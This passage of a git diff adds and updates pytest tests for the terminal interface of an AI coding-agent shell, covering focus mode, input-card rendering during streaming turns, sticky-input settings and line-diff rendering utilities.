has not arrived β€” yet the card shows. + mid_turn = "Command executed successfully." in joined and "All done." not in joined + output = "\n".join(row for row in rows if _PROMPT_TEXT not in row) + if mid_turn and any(_is_input_card_border(r) for r in rows) and "❯" in output: + assert output.count("❯") == 1 + assert "────────" in output + live_card_seen_mid_turn = True + # Detect completion from the full byte stream (it may scroll off screen). + if "All done." in shell.normalized_text(): + turn_done = True + break + + assert turn_done, "turn did not complete in time" + assert live_card_seen_mid_turn, ( + "live input card never reappeared while the turn was still streaming" + ) + + # Turn ended: the idle card is back once the prompt settles. + shell.wait_for_quiet(timeout=6.0, quiet_period=0.3) + assert any(_is_input_card_border(r) for r in _render(shell._raw_chunks)), ( + "idle input-card border did not return after the turn ended" + ) + finally: + shell.close() diff --git a/tests/ui_and_conv/test_focus_tui_integration.py b/tests/ui_and_conv/test_focus_tui_integration.py new file mode 100644 index 00000000..ff7d4aa3 --- /dev/null +++ b/tests/ui_and_conv/test_focus_tui_integration.py @@ -0,0 +1,152 @@ +from __future__ import annotations + +from pathlib import Path +from typing import Any, cast + +import pytest +from pythinker_core.tooling.empty import EmptyToolset +from rich.text import Text + +import pythinker_code.ui.shell as shell_module +from pythinker_code.soul.agent import Agent, Runtime +from pythinker_code.soul.context import Context +from pythinker_code.soul.pythinkersoul import PythinkerSoul +from pythinker_code.ui.shell.focus_model import FocusTuiModel +from pythinker_code.ui.shell.focus_surface import FocusTuiSurface +from pythinker_code.ui.shell.visualize import _PromptLiveView, visualize +from pythinker_code.utils.aioqueue import QueueShutDown +from pythinker_code.wire.types import StatusUpdate + + +class _PromptSession: + def __init__(self) -> None: + self.modals: list[object] = [] + self.running: object | None = None + + def mark_turn_starting(self) -> None: + pass + + def clear_turn_starting(self) -> None: + pass + + def update_pinned_todos(self, _items: object) -> None: + pass + + def invalidate(self) -> None: + pass + + def attach_running_prompt(self, delegate: object) -> None: + self.running = delegate + + def detach_running_prompt(self, delegate: object) -> None: + if self.running is delegate: + self.running = None + + def attach_modal(self, delegate: object) -> None: + self.modals.append(delegate) + + def detach_modal(self, delegate: object) -> None: + self.modals.remove(delegate) + + +def _make_shell(runtime: Runtime, tmp_path: Path) -> shell_module.Shell: + agent = Agent( + name="Test Agent", + system_prompt="Test system prompt.", + toolset=EmptyToolset(), + runtime=runtime, + ) + soul = PythinkerSoul(agent, context=Context(file_backend=tmp_path / "history.jsonl")) + return shell_module.Shell(soul) + + +@pytest.mark.asyncio +async def test_shell_focus_mode_enables_focus_surface( + runtime: Runtime, tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + runtime.config.tui.focus_mode = True + shell = _make_shell(runtime, tmp_path) + prompt_session = cast(Any, _PromptSession()) + shell._prompt_session = prompt_session # pyright: ignore[reportPrivateUsage] + enabled_models: list[FocusTuiModel | None] = [] + + class _Wire: + def ui_side(self, *, merge: bool) -> object: + return object() + + async def fake_run_soul(_soul, _user_input, ui_factory, _cancel_event, _wire_file, _runtime): + await ui_factory(_Wire()) + + async def fake_visualize(_wire, **kwargs) -> None: + view = _PromptLiveView( + kwargs["initial_status"], + prompt_session=kwargs["prompt_session"], + steer=kwargs["steer"], + ) + assert kwargs["focus_mode"] is True + if kwargs["focus_mode"]: + view.enable_focus_model() + kwargs["on_view_ready"](view) + enabled_models.append(view.focus_model) + + monkeypatch.setattr(shell_module, "run_soul", fake_run_soul) + monkeypatch.setattr(shell_module, "visualize", fake_visualize) + + assert await shell.run_soul_command("hello") is True + + model = enabled_models[0] + assert isinstance(model, FocusTuiModel) + assert FocusTuiSurface(model).create_application().full_screen is True + + +@pytest.mark.asyncio +async def test_focus_mode_does_not_run_scrollback_handoff_for_action_blocks( + monkeypatch: pytest.MonkeyPatch, +) -> None: + handoffs: list[str] = [] + view = _PromptLiveView( + StatusUpdate(), + prompt_session=cast(Any, _PromptSession()), + steer=lambda _content: None, + ) + view.enable_focus_model() + view._active_turn_depth = 1 + view._emit_action_block(Text("tool summary")) + + async def _fake_handoff(_emit: object, *, reason: str = "?") -> None: + handoffs.append(reason) + + monkeypatch.setattr(view, "_run_scrollback_handoff", _fake_handoff) + await view._flush_pending_scrollback() + + assert handoffs == [] + assert view._pending_scrollback == [] + + +@pytest.mark.asyncio +async def test_visualize_focus_mode_attaches_surface_modal() -> None: + class _Wire: + async def receive(self) -> object: + raise QueueShutDown + + prompt_session = _PromptSession() + attached: list[object] = [] + + def _on_view_ready(view: object) -> None: + assert isinstance(view, _PromptLiveView) + assert isinstance(view.focus_model, FocusTuiModel) + attached.extend(prompt_session.modals) + + await visualize( + cast(Any, _Wire()), + initial_status=StatusUpdate(), + prompt_session=cast(Any, prompt_session), + steer=lambda _content: None, + focus_mode=True, + on_view_ready=_on_view_ready, + ) + + assert len(attached) == 1 + assert isinstance(attached[0], FocusTuiSurface) + assert prompt_session.modals == [] + assert prompt_session.running is None diff --git a/tests/ui_and_conv/test_focus_tui_model.py b/tests/ui_and_conv/test_focus_tui_model.py new file mode 100644 index 00000000..aaf3fab8 --- /dev/null +++ b/tests/ui_and_conv/test_focus_tui_model.py @@ -0,0 +1,124 @@ +import json +from typing import Any, cast + +from pythinker_core.message import ToolCall +from pythinker_core.tooling import ToolResult, ToolReturnValue + +from pythinker_code.tools.display import DiffDisplayBlock +from pythinker_code.ui.shell.focus_model import FocusTuiModel +from pythinker_code.ui.shell.visualize import _PromptLiveView +from pythinker_code.wire.types import StatusUpdate + + +def test_focus_model_hides_files_by_default_and_counts_them() -> None: + model = FocusTuiModel() + model.begin_turn("fix tests") + model.mark_file("src/a.py", "updated") + model.mark_file("tests/test_a.py", "updated") + + rows = model.render_rows(width=80) + + assert model.visible_file_count() == 2 + assert any("files: 2" in row for row in rows) + assert not any("src/a.py" in row for row in rows) + assert not any("tests/test_a.py" in row for row in rows) + + +def test_focus_model_toggles_compact_file_shelf() -> None: + model = FocusTuiModel() + for index in range(7): + model.mark_file(f"src/file_{index}.py", "updated") + + model.toggle_files() + rows = model.render_rows(width=80) + + assert any("Files" in row for row in rows) + assert any("src/file_6.py" in row for row in rows) + assert any("+2 more" in row for row in rows) + assert not any("src/file_0.py" in row for row in rows) + + +def test_focus_model_collapses_read_rows_by_default() -> None: + model = FocusTuiModel() + model.append_tool_row("read-1", "Read(test_paths.py)", "31 lines", expandable=True) + + rows = model.render_rows(width=80) + + assert rows == ["⏺ Read(test_paths.py) 31 lines ctrl+o"] + + +class _PromptSession: + def update_pinned_todos(self, _items: object) -> None: + pass + + +def test_live_view_updates_focus_model_for_file_write() -> None: + view = _PromptLiveView( + StatusUpdate(), + prompt_session=cast(Any, _PromptSession()), + steer=lambda _content: None, + ) + view.enable_focus_model() + + view.append_tool_call( + ToolCall( + id="write-1", + function=ToolCall.FunctionBody( + name="WriteFile", + arguments=json.dumps({"path": "src/a.py", "content": "x"}), + ), + ) + ) + assert view.focus_model is not None + assert any("files: 1" in row for row in view.focus_model.render_rows(80)) + + view.append_tool_result( + ToolResult( + tool_call_id="write-1", + return_value=ToolReturnValue( + is_error=False, + output="ok", + message="ok", + display=[DiffDisplayBlock(path="src/a.py", old_text="", new_text="x")], + ), + ) + ) + view.focus_model.toggle_files() + rows = view.focus_model.render_rows(80) + assert any("updated" in row and "src/a.py" in row for row in rows) + + +def test_live_view_marks_failed_write_without_display_path() -> None: + view = _PromptLiveView( + StatusUpdate(), + prompt_session=cast(Any, _PromptSession()), + steer=lambda _content: None, + ) + view.enable_focus_model() + + view.append_tool_call( + ToolCall( + id="write-1", + function=ToolCall.FunctionBody( + name="WriteFile", + arguments=json.dumps({"path": "src/a.py", "content": "x"}), + ), + ) + ) + assert view.focus_model is not None + + view.append_tool_result( + ToolResult( + tool_call_id="write-1", + return_value=ToolReturnValue( + is_error=True, + output="write failed", + message="write failed", + display=[], + ), + ) + ) + view.focus_model.toggle_files() + + rows = view.focus_model.render_rows(80) + assert any("failed" in row and "src/a.py" in row for row in rows) diff --git a/tests/ui_and_conv/test_focus_tui_surface.py b/tests/ui_and_conv/test_focus_tui_surface.py new file mode 100644 index 00000000..ee35196c --- /dev/null +++ b/tests/ui_and_conv/test_focus_tui_surface.py @@ -0,0 +1,87 @@ +from types import SimpleNamespace +from typing import Any, cast + +from pythinker_code.ui.shell.focus_model import FocusTuiModel +from pythinker_code.ui.shell.focus_surface import FocusTuiSurface + + +def test_focus_surface_renders_composer_at_bottom() -> None: + model = FocusTuiModel() + model.begin_turn("fix") + model.append_tool_row("bash-1", "Bash(pytest)", "running", expandable=True) + surface = FocusTuiSurface(model) + + text = surface.renderer_text(width=80) + + assert "⏺ Bash(pytest)" in text + assert "❯" in text + assert text.rfind("❯") > text.find("⏺ Bash(pytest)") + + +def test_focus_surface_ctrl_f_toggles_files() -> None: + model = FocusTuiModel() + model.mark_file("src/a.py", "updated") + surface = FocusTuiSurface(model) + + assert "src/a.py" not in surface.renderer_text(width=80) + surface.toggle_files() + assert "src/a.py" in surface.renderer_text(width=80) + + +def test_focus_surface_toggle_files_updates_rendered_footer_count() -> None: + model = FocusTuiModel() + model.mark_file("src/a.py", "updated") + surface = FocusTuiSurface(model) + + before = surface.renderer_text(width=80) + surface.toggle_files() + after = surface.renderer_text(width=80) + + assert "files: 1" in before + assert "src/a.py" not in before + assert "files: 1" in after + assert "src/a.py" in after + + +def test_focus_surface_application_is_fullscreen() -> None: + model = FocusTuiModel() + surface = FocusTuiSurface(model) + + app = surface.create_application() + + assert app.full_screen is True + + +def test_focus_surface_uses_application_width() -> None: + surface = FocusTuiSurface(FocusTuiModel()) + surface._app = cast( + Any, SimpleNamespace(output=SimpleNamespace(get_size=lambda: SimpleNamespace(columns=123))) + ) # pyright: ignore[reportPrivateUsage] + + assert surface._render_width() == 123 # pyright: ignore[reportPrivateUsage] + + +def test_focus_surface_modal_delegate_forwards_running_keys() -> None: + class _Delegate: + def __init__(self) -> None: + self.handled: list[str] = [] + + def should_handle_running_prompt_key(self, key: str) -> bool: + return key == "c-s" + + def handle_running_prompt_key(self, key: str, event: Any) -> None: + _ = event + self.handled.append(key) + + delegate = _Delegate() + surface = FocusTuiSurface(FocusTuiModel(), delegate=delegate) + + assert surface.running_prompt_allows_text_input() is True + assert surface.running_prompt_hides_input_buffer() is False + assert surface.running_prompt_accepts_submission() is True + assert surface.should_handle_running_prompt_key("c-f") is True + assert surface.should_handle_running_prompt_key("c-s") is True + + surface.handle_running_prompt_key("c-s", cast(Any, object())) + + assert delegate.handled == ["c-s"] diff --git a/tests/ui_and_conv/test_prompt_tips.py b/tests/ui_and_conv/test_prompt_tips.py index b72f2d04..e03dad22 100644 --- a/tests/ui_and_conv/test_prompt_tips.py +++ b/tests/ui_and_conv/test_prompt_tips.py @@ -1005,6 +1005,7 @@ def test_running_prompt_uses_shared_toolbar_and_bottom_input_layout(monkeypatch: prompt_session._mode = PromptMode.AGENT prompt_session._model_name = None prompt_session._running_prompt_delegate = _DummyRunningPrompt() + prompt_session._turn_starting = False prompt_session._status_provider = lambda: StatusSnapshot(context_usage=0.0) prompt_session._background_task_count_provider = None prompt_session._thinking = False @@ -1054,6 +1055,7 @@ def render_running_prompt_body(self, columns: int) -> str: return "\n".join(f"line {i}" for i in range(20)) prompt_session._running_prompt_delegate = _TallRunningPrompt() + prompt_session._turn_starting = False prompt_session._modal_delegates = [] class _DummyOutput: @@ -1095,6 +1097,7 @@ def render_running_prompt_body(self, columns: int) -> str: return "" prompt_session._running_prompt_delegate = _TallAgentStatus() + prompt_session._turn_starting = False prompt_session._modal_delegates = [] class _DummyOutput: @@ -1514,6 +1517,7 @@ def test_idle_agent_prompt_uses_same_bottom_input_layout(monkeypatch: Any) -> No width = 64 prompt_session = object.__new__(CustomPromptSession) prompt_session._running_prompt_delegate = None + prompt_session._turn_starting = False prompt_session._status_provider = lambda: StatusSnapshot(context_usage=0.0) prompt_session._thinking = False @@ -1567,6 +1571,7 @@ def test_attach_running_prompt_enables_erase_when_done_and_detach_restores_state prompt_session._mode = PromptMode.SHELL prompt_session._running_prompt_delegate = None prompt_session._running_prompt_previous_mode = None + prompt_session._sticky_input = False prompt_session._session = cast(Any, SimpleNamespace(app=SimpleNamespace(erase_when_done=False))) delegate = _DummyRunningPrompt() diff --git a/tests/ui_and_conv/test_shell_run_placeholders.py b/tests/ui_and_conv/test_shell_run_placeholders.py index ffa92153..8264eeb8 100644 --- a/tests/ui_and_conv/test_shell_run_placeholders.py +++ b/tests/ui_and_conv/test_shell_run_placeholders.py @@ -1,14 +1,19 @@ from __future__ import annotations from collections import deque +from pathlib import Path from types import SimpleNamespace from typing import cast from unittest.mock import AsyncMock import pytest +from pythinker_core.tooling.empty import EmptyToolset import pythinker_code.ui.shell as shell_module from pythinker_code.soul import Soul +from pythinker_code.soul.agent import Agent, Runtime +from pythinker_code.soul.context import Context +from pythinker_code.soul.pythinkersoul import PythinkerSoul from pythinker_code.ui.shell.prompt import PromptMode, UserInput from pythinker_code.utils.slashcmd import SlashCommand, SlashCommandCall from pythinker_code.wire.types import TextPart @@ -24,6 +29,7 @@ class _FakePromptSession: responses: deque[UserInput | BaseException] = deque() def __init__(self, *args, **kwargs) -> None: + self.kwargs = kwargs self.prompt_calls = 0 self.last_submission_was_running = False _FakePromptSession.instances.append(self) @@ -47,6 +53,9 @@ def attach_running_prompt(self, delegate) -> None: def detach_running_prompt(self, delegate) -> None: return None + def mark_turn_starting(self) -> None: + return None + def _make_user_input( command: str, @@ -73,6 +82,16 @@ def _make_fake_soul(): ) +def _make_pythinker_soul(runtime: Runtime, tmp_path: Path) -> PythinkerSoul: + agent = Agent( + name="Test Agent", + system_prompt="Test system prompt.", + toolset=EmptyToolset(), + runtime=runtime, + ) + return PythinkerSoul(agent, context=Context(file_backend=tmp_path / "history.jsonl")) + + def _noop(app: object, args: str) -> None: pass @@ -126,6 +145,29 @@ def _patched_shell_run(monkeypatch): return printed +@pytest.mark.asyncio +async def test_shell_run_passes_sticky_input_config( + monkeypatch, runtime: Runtime, tmp_path: Path, _patched_shell_run +) -> None: + _FakePromptSession.responses = deque([EOFError()]) + runtime.config.tui.sticky_input = False + monkeypatch.setattr(shell_module.Shell, "_schedule_startup_update_task", lambda self: None) + monkeypatch.setattr(shell_module, "replay_recent_history", AsyncMock()) + + def _close_background_coro(self, coro): + coro.close() + return None + + monkeypatch.setattr(shell_module.Shell, "_start_background_task", _close_background_coro) + + shell = shell_module.Shell(_make_pythinker_soul(runtime, tmp_path)) + + result = await shell.run() + + assert result is True + assert _FakePromptSession.instances[0].kwargs["sticky_input"] is False + + @pytest.mark.asyncio async def test_shell_run_treats_hidden_slash_in_placeholder_as_regular_agent_input( monkeypatch, _patched_shell_run diff --git a/tests/ui_and_conv/test_tui_renderer.py b/tests/ui_and_conv/test_tui_renderer.py new file mode 100644 index 00000000..00f2a3a8 --- /dev/null +++ b/tests/ui_and_conv/test_tui_renderer.py @@ -0,0 +1,90 @@ +from pythinker_code.ui.shell.tui import ( + Box, + Container, + LinePatch, + RenderScheduler, + RunningPromptScene, + Spacer, + Text, + plan_line_diff, + synchronized_output, +) + + +def test_text_wraps_and_pads_to_width() -> None: + text = Text("hello world", padding_x=1) + + assert text.render(8) == [" hello ", " world "] + + +def test_spacer_renders_blank_lines() -> None: + assert Spacer(2).render(5) == [" ", " "] + + +def test_container_concatenates_children() -> None: + root = Container([Text("one"), Spacer(1), Text("two")]) + + assert root.render(6) == ["one ", " ", "two "] + + +def test_box_applies_padding_and_background_function() -> None: + box = Box(Text("run"), padding_x=1, padding_y=1, style=lambda value: f"<{value}>") + + assert box.render(7) == ["< >", "< run >", "< >"] + + +def test_plan_line_diff_replaces_changed_middle_run() -> None: + old = ["top", "old", "same"] + new = ["top", "new", "same"] + + assert plan_line_diff(old, new) == [LinePatch(start=1, delete=1, insert=("new",))] + + +def test_plan_line_diff_handles_growth_and_shrink() -> None: + assert plan_line_diff(["a"], ["a", "b"]) == [LinePatch(start=1, delete=0, insert=("b",))] + assert plan_line_diff(["a", "b"], ["a"]) == [LinePatch(start=1, delete=1, insert=())] + + +def test_synchronized_output_wraps_payload() -> None: + assert synchronized_output("abc") == "\x1b[?2026habc\x1b[?2026l" + + +def test_render_scheduler_coalesces_fast_requests() -> None: + calls: list[str] = [] + scheduler = RenderScheduler(lambda: calls.append("invalidate"), min_interval_seconds=0.1) + + assert scheduler.request_render(now=1.0) is True + assert scheduler.request_render(now=1.05) is False + assert scheduler.request_render(now=1.11) is True + assert calls == ["invalidate", "invalidate"] + + +def test_running_prompt_scene_keeps_input_card_after_stream_body() -> None: + scene = RunningPromptScene( + body="streaming\ntext", top_border="──────── ● off", prompt_symbol="❯" + ) + + assert scene.render(16) == [ + "streaming ", + "text ", + "──────── ● off ", + " ❯ ", + ] + + +def test_running_prompt_scene_keeps_card_when_body_empty() -> None: + scene = RunningPromptScene(body="", top_border="──────── ● off", prompt_symbol="❯") + + assert scene.render(16) == ["──────── ● off ", " ❯ "] + + +def test_running_prompt_scene_preserves_blank_body_lines() -> None: + scene = RunningPromptScene(body="a\n\nb", top_border="──────── ● off", prompt_symbol="❯") + + assert scene.render(16) == [ + "a ", + " ", + "b ", + "──────── ● off ", + " ❯ ", + ] diff --git a/tests/ui_and_conv/test_visualize_running_prompt.py b/tests/ui_and_conv/test_visualize_running_prompt.py index 2c5a6d73..260200c3 100644 --- a/tests/ui_and_conv/test_visualize_running_prompt.py +++ b/tests/ui_and_conv/test_visualize_running_prompt.py @@ -8,9 +8,9 @@ from prompt_toolkit.document import Document from rich.text import Text +import pythinker_code.ui.shell.prompt as prompt_module from pythinker_code.tools.display import TodoDisplayItem from pythinker_code.ui.shell.motion import _SHIMMER_BASE, _SHIMMER_HIGHLIGHT, _SHIMMER_MID -from pythinker_code.ui.shell.prompt import BgTaskCounts, CustomPromptSession, PromptMode, UserInput from pythinker_code.ui.shell.spacing import PREAMBLE_EARLIER_OUTPUT_HIDDEN_HINT from pythinker_code.wire.types import ( ApprovalRequest, @@ -285,6 +285,432 @@ def test_render_pinned_status_tail_returns_spinner_when_turn_active() -> None: assert out.value.strip() != "" +def _card_session( + *, text: str = "", turn_starting: bool = False, delegate: object | None = None +) -> prompt_module.CustomPromptSession: + """A CustomPromptSession stub with exactly the attrs the input-card gate reads + via direct access (so an init regression would fail loudly, not silently).""" + from types import SimpleNamespace + + session = object.__new__(prompt_module.CustomPromptSession) + session._modal_delegates = [] + session._turn_starting = turn_starting + session._running_prompt_delegate = cast(Any, delegate) + session._session = cast(Any, SimpleNamespace(default_buffer=SimpleNamespace(text=text))) + return session + + +def _hiding_delegate(hide: bool) -> object: + from types import SimpleNamespace + + return SimpleNamespace(running_prompt_hide_input_card=lambda: hide) + + +def _body_delegate(body: str, *, hide_card: bool = False): + class _Delegate: + def render_running_prompt_body(self, columns: int) -> str: + return body + + def running_prompt_hide_input_card(self) -> bool: + return hide_card + + def running_prompt_placeholder(self) -> None: + return None + + def running_prompt_allows_text_input(self) -> bool: + return False + + def running_prompt_hides_input_buffer(self) -> bool: + return True + + def running_prompt_accepts_submission(self) -> bool: + return False + + def should_handle_running_prompt_key(self, key: str) -> bool: + return False + + def handle_running_prompt_key(self, key: str, event) -> None: # noqa: ANN001 + raise AssertionError("not expected") + + return _Delegate() + + +def test_input_card_pre_attach_hides_until_delegate_can_pin_spinner() -> None: + """The pre-attach race frame hides the card so it cannot fossilize above + the spinner before the running-prompt delegate exists.""" + session = _card_session(turn_starting=True, delegate=None) + assert session._input_card_hidden_pre_stream() is True + assert session._should_render_input_buffer() is False + + +def test_input_card_pre_first_commit_keeps_prompt_row_via_delegate() -> None: + """Post-attach: the delegate gates editable content until the first commit, + but the prompt marker row still renders.""" + session = _card_session(delegate=_hiding_delegate(True)) + assert session._input_card_hidden_pre_stream() is True + assert session._should_render_input_buffer() is True + + +def test_sticky_input_still_hides_pre_attach_buffer_window() -> None: + session = _card_session(turn_starting=True, delegate=None) + session._sticky_input = True + + assert session._input_card_hidden_pre_stream() is True + assert session._should_render_input_buffer() is False + + +def test_sticky_input_keeps_delegate_prompt_marker_after_attach() -> None: + session = _card_session(delegate=_hiding_delegate(True)) + session._sticky_input = True + + assert session._input_card_hidden_pre_stream() is True + assert session._should_render_input_buffer() is True + + +def test_input_card_shown_after_first_commit() -> None: + """Once the turn has committed, the delegate stops hiding and the card + repaints so the user can see where to steer.""" + session = _card_session(delegate=_hiding_delegate(False)) + assert session._input_card_hidden_pre_stream() is False + assert session._should_render_input_buffer() is True + + +def test_input_card_shown_once_user_types_to_steer() -> None: + """A non-empty buffer (the user typed to steer) always shows the card, even + while the delegate would otherwise hide it.""" + session = _card_session(text="steer this", delegate=_hiding_delegate(True)) + assert session._input_card_hidden_pre_stream() is False + assert session._should_render_input_buffer() is True + + +def test_input_card_shown_when_idle_between_turns() -> None: + session = _card_session(turn_starting=False, delegate=None) + assert session._input_card_hidden_pre_stream() is False + assert session._should_render_input_buffer() is True + + +def test_running_prompt_hide_input_card_flips_on_first_commit() -> None: + """The delegate hides the card until the turn's first commit, then shows it; + a finalizing/ended turn always shows it.""" + view = object.__new__(_PromptLiveView) + view._turn_ended = False + view._scrollback_handoff_depth = 0 + view._committed_scrollback_this_turn = False + view._awaiting_input_card_restore_anchor = False + assert view.running_prompt_hide_input_card() is True + assert view.running_prompt_hide_input_card_chrome() is False + + view._committed_scrollback_this_turn = True + assert view.running_prompt_hide_input_card() is False + assert view.running_prompt_hide_input_card_chrome() is False + + view._scrollback_handoff_depth = 1 + assert view.running_prompt_hide_input_card_chrome() is True + + view._scrollback_handoff_depth = 0 + view._committed_scrollback_this_turn = False + view._turn_ended = True + assert view.running_prompt_hide_input_card() is False + assert view.running_prompt_hide_input_card_chrome() is False + + +def test_mark_turn_starting_is_idempotent_and_cleared_on_attach_detach() -> None: + """The shell sets the hint on dispatch (once β€” idempotent); attach (delegate + takes over) and detach (turn ended / error-before-attach) both clear it so + the idle prompt is never left collapsed.""" + session = object.__new__(prompt_module.CustomPromptSession) + session._turn_starting = False + invalidations: list[int] = [] + session.invalidate = lambda: invalidations.append(1) # type: ignore[method-assign] + + session.mark_turn_starting() + assert session._turn_starting is True + assert len(invalidations) == 1 # repaint requested once + session.mark_turn_starting() # idempotent: no extra repaint + assert len(invalidations) == 1 + + # attach clears the hint (delegate becomes source of truth) + session._running_prompt_delegate = None + session._running_prompt_previous_mode = None + session._mode = prompt_module.PromptMode.AGENT + session._apply_mode = lambda: None # type: ignore[method-assign] + delegate = object() + session.attach_running_prompt(cast(Any, delegate)) + assert session._turn_starting is False + + # detach also clears it (belt-and-suspenders for the error-before-attach path) + session._turn_starting = True + session.detach_running_prompt(cast(Any, delegate)) + assert session._turn_starting is False + + +def test_sticky_input_turn_start_enables_fullscreen_once() -> None: + from types import SimpleNamespace + + session = object.__new__(prompt_module.CustomPromptSession) + app = SimpleNamespace(full_screen=False, erase_when_done=True) + session._session = cast(Any, SimpleNamespace(app=app, default_buffer=SimpleNamespace(text=""))) + session._sticky_input = True + session._previous_full_screen = None + session._turn_starting = False + invalidations: list[int] = [] + session.invalidate = lambda: invalidations.append(1) # type: ignore[method-assign] + + session.mark_turn_starting() + session.mark_turn_starting() + + assert app.full_screen is True + assert app.erase_when_done is False + assert session._previous_full_screen is False + assert len(invalidations) == 1 + + +def test_sticky_input_clear_turn_starting_restores_fullscreen_on_pre_attach_error() -> None: + from types import SimpleNamespace + + session = object.__new__(prompt_module.CustomPromptSession) + app = SimpleNamespace(full_screen=True, erase_when_done=False) + session._session = cast(Any, SimpleNamespace(app=app, default_buffer=SimpleNamespace(text=""))) + session._sticky_input = True + session._previous_full_screen = False + session._turn_starting = True + invalidations: list[int] = [] + session.invalidate = lambda: invalidations.append(1) # type: ignore[method-assign] + + session.clear_turn_starting() + + assert session._turn_starting is False + assert app.full_screen is False + assert invalidations == [1] + + +def test_clear_turn_starting_is_the_public_api_for_belt_and_suspenders_cleanup() -> None: + """The shell's run_soul_command finally block must clear a stale hint on an + error-before-attach path without reaching into the private ``_turn_starting`` + attribute β€” this is the public method it calls instead.""" + session = object.__new__(prompt_module.CustomPromptSession) + session._turn_starting = True + invalidations: list[int] = [] + session.invalidate = lambda: invalidations.append(1) # type: ignore[method-assign] + + session.clear_turn_starting() + assert session._turn_starting is False + assert invalidations == [1] + + # Idempotent by construction (plain assignment): a repeat call is harmless. + session.clear_turn_starting() + assert session._turn_starting is False + assert invalidations == [1, 1] + + +def test_render_agent_prompt_message_keeps_empty_card_during_first_load( + monkeypatch, +) -> None: + """The first loading frame keeps the empty card chrome visible.""" + from types import SimpleNamespace + + from prompt_toolkit.formatted_text import FormattedText + + border = "──────── ● off" + session = _card_session(turn_starting=True, delegate=None) + session._shortcut_help_open = False + monkeypatch.setattr(session, "_render_agent_status", lambda _c: FormattedText()) + monkeypatch.setattr(session, "_render_interactive_body", lambda _c: FormattedText()) + monkeypatch.setattr(session, "_render_pinned_status_tail", lambda _c: FormattedText()) + monkeypatch.setattr(session, "_render_input_top_border", lambda _c, _f: [("", border)]) + monkeypatch.setattr(prompt_module, "is_card_style", lambda: True) + monkeypatch.setattr(prompt_module, "get_toolbar_colors", lambda: SimpleNamespace(separator="")) + + frame = "".join(text for _style, text, *_ in session._render_agent_prompt_message()) + + assert frame == f"{border}\n {prompt_module.PROMPT_SYMBOL_AGENT_INPUT} " + + +def test_render_agent_prompt_message_keeps_prompt_marker_when_card_gate_hides_buffer( + monkeypatch, +) -> None: + """The chrome renderer keeps the prompt marker while hiding the editable buffer.""" + from types import SimpleNamespace + + from prompt_toolkit.formatted_text import FormattedText + + border = "──────── ● off" + session = object.__new__(prompt_module.CustomPromptSession) + session._modal_delegates = [] + session._shortcut_help_open = False + session._turn_starting = False + session._running_prompt_delegate = None + monkeypatch.setattr(session, "_render_agent_status", lambda _c: FormattedText()) + monkeypatch.setattr(session, "_render_interactive_body", lambda _c: FormattedText()) + monkeypatch.setattr(session, "_render_pinned_status_tail", lambda _c: FormattedText()) + monkeypatch.setattr(session, "_render_input_top_border", lambda _c, _f: [("", border)]) + monkeypatch.setattr(prompt_module, "is_card_style", lambda: True) + monkeypatch.setattr(prompt_module, "get_toolbar_colors", lambda: SimpleNamespace(separator="")) + + def _rendered(hidden: bool) -> str: + monkeypatch.setattr(session, "_input_card_hidden_pre_stream", lambda: hidden) + return "".join(text for _style, text, *_ in session._render_agent_prompt_message()) + + hidden_frame = _rendered(True) + assert hidden_frame == f"{border}\n {prompt_module.PROMPT_SYMBOL_AGENT_INPUT} " + + shown_frame = _rendered(False) + assert border in shown_frame + assert prompt_module.PROMPT_SYMBOL_AGENT_INPUT in shown_frame + + +def test_render_agent_prompt_message_keeps_prompt_marker_in_classic_style_pre_stream( + monkeypatch, +) -> None: + from prompt_toolkit.formatted_text import FormattedText + + session = _card_session(turn_starting=True, delegate=None) + session._shortcut_help_open = False + monkeypatch.setattr(session, "_render_agent_status", lambda _c: FormattedText()) + monkeypatch.setattr(session, "_render_interactive_body", lambda _c: FormattedText()) + monkeypatch.setattr(session, "_render_pinned_status_tail", lambda _c: FormattedText()) + monkeypatch.setattr(prompt_module, "is_card_style", lambda: False) + + frame = "".join(text for _style, text, *_ in session._render_agent_prompt_message()) + + assert frame == f"\n{prompt_module.PROMPT_SYMBOL_AGENT_INPUT} " + + +def test_render_agent_prompt_message_keeps_prompt_marker_when_delegate_hides_buffer( + monkeypatch, +) -> None: + """The post-attach running frame keeps the prompt marker.""" + from types import SimpleNamespace + + from prompt_toolkit.formatted_text import FormattedText + + border = "──────── ● off" + session = _card_session(delegate=_body_delegate("", hide_card=True)) + session._shortcut_help_open = False + monkeypatch.setattr(session, "_render_agent_status", lambda _c: FormattedText()) + monkeypatch.setattr(session, "_render_interactive_body", lambda _c: FormattedText()) + monkeypatch.setattr(session, "_render_pinned_status_tail", lambda _c: FormattedText()) + monkeypatch.setattr(session, "_render_input_top_border", lambda _c, _f: [("", border)]) + monkeypatch.setattr(prompt_module, "is_card_style", lambda: True) + monkeypatch.setattr(prompt_module, "get_toolbar_colors", lambda: SimpleNamespace(separator="")) + + frame = "".join(text for _style, text, *_ in session._render_agent_prompt_message()) + + assert frame == f"{border}\n {prompt_module.PROMPT_SYMBOL_AGENT_INPUT} " + + +def test_render_agent_prompt_message_uses_scene_order_for_stream_and_input_card( + monkeypatch, +) -> None: + from types import SimpleNamespace + + from prompt_toolkit.formatted_text import FormattedText + + border = "──────── ● off" + session = _card_session(delegate=_body_delegate("assistant chunk", hide_card=True)) + session._shortcut_help_open = False + monkeypatch.setattr(session, "_render_agent_status", lambda _c: FormattedText()) + monkeypatch.setattr(session, "_render_interactive_body", lambda _c: FormattedText()) + monkeypatch.setattr(session, "_render_pinned_status_tail", lambda _c: FormattedText()) + monkeypatch.setattr(session, "_render_input_top_border", lambda _c, _f: [("", border)]) + monkeypatch.setattr(prompt_module, "is_card_style", lambda: True) + monkeypatch.setattr(prompt_module, "get_toolbar_colors", lambda: SimpleNamespace(separator="")) + + frame = "".join(text for _style, text, *_ in session._render_agent_prompt_message()) + + assert frame == f"assistant chunk\n{border}\n {prompt_module.PROMPT_SYMBOL_AGENT_INPUT} " + + +def test_render_agent_prompt_message_preserves_scene_fragment_styles(monkeypatch) -> None: + from types import SimpleNamespace + + from prompt_toolkit.formatted_text import FormattedText + + class _StyledDelegate: + def render_running_prompt_body(self, columns: int) -> FormattedText: + return FormattedText([("class:stream.body", "assistant chunk")]) + + def running_prompt_hide_input_card(self) -> bool: + return False + + def running_prompt_placeholder(self) -> FormattedText: + return FormattedText([("class:placeholder", "keep typing")]) + + def running_prompt_allows_text_input(self) -> bool: + return False + + def running_prompt_hides_input_buffer(self) -> bool: + return True + + def running_prompt_accepts_submission(self) -> bool: + return False + + def should_handle_running_prompt_key(self, key: str) -> bool: 